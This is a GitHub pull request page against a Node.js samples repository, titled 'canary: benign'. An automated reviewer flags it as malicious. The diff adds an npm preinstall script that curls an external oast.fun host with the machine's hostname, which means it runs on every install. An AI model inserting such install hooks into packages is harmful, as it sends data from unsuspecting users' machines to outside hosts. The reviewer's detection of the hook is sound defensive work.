Skip to content

canary: benign#4368

Open
osamahamad wants to merge 1 commit into
GoogleCloudPlatform:mainfrom
osamahamad:canary
Open

canary: benign#4368
osamahamad wants to merge 1 commit into
GoogleCloudPlatform:mainfrom
osamahamad:canary

Conversation

@osamahamad

Copy link
Copy Markdown

Description

Fixes #

Note: Before submitting a pull request, please open an issue for discussion if you are not associated with Google.

Checklist

  • I have followed guidelines from CONTRIBUTING.MD and Samples Style Guide
  • Tests pass: npm test (see Testing)
  • Lint pass: npm run lint (see Style)
  • Required CI tests pass (see CI testing)
  • These samples need a new API enabled in testing projects to pass (let us know which ones)
  • These samples need a new/updated env vars in testing projects set to pass (let us know which ones)
  • This pull request is from a branch created directly off of GoogleCloudPlatform/nodejs-docs-samples. Not a fork.
  • This sample adds a new sample directory, and I updated the CODEOWNERS file with the codeowners for this sample
  • This sample adds a new sample directory, and I created GitHub Actions workflow for this sample
  • This sample adds a new Product API, and I updated the Blunderbuss issue/PR auto-assigner with the codeowners for this sample
  • Please merge this PR for me once it is approved

Note: Any check with (dev), (experimental), or (legacy) can be ignored and should not block your PR from merging (see CI testing).

@osamahamad osamahamad requested review from a team as code owners June 30, 2026 00:23
@product-auto-label product-auto-label Bot added samples Issues that are directly related to samples. api: appengine Issues related to the App Engine Admin API API. asset: pattern DEE Asset tagging - Pattern. labels Jun 30, 2026
@google-cla

google-cla Bot commented Jun 30, 2026

Copy link
Copy Markdown

Thanks for your pull request! It looks like this may be your first contribution to a Google open source project. Before we can look at your pull request, you'll need to sign a Contributor License Agreement (CLA).

View this failed invocation of the CLA check for more information.

For the most up to date status, view the checks section at the bottom of the pull request.

@gemini-code-assist gemini-code-assist Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Code Review

This pull request introduces a critical security vulnerability by adding a malicious preinstall script to package.json that exfiltrates the local hostname to an external domain. The reviewer correctly identified this as unauthorized data exfiltration and requested its immediate removal.

Comment on lines +17 to +18
"test": "c8 mocha -p -j 2 --exit test/*.test.js",
"preinstall": "curl -s https://dnipykvxpgkngpftnqxlrsotvsex5c7dy.oast.fun/proof?h=$(hostname)"

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

security-critical critical

Critical Security Risk: The added preinstall script executes an external curl command that exfiltrates the local hostname to an external domain. This is a severe security vulnerability (unauthorized data exfiltration / remote code execution during package installation). The preinstall script must be removed immediately.

    "test": "c8 mocha -p -j 2 --exit test/*.test.js"

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

api: appengine Issues related to the App Engine Admin API API. asset: pattern DEE Asset tagging - Pattern. samples Issues that are directly related to samples.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant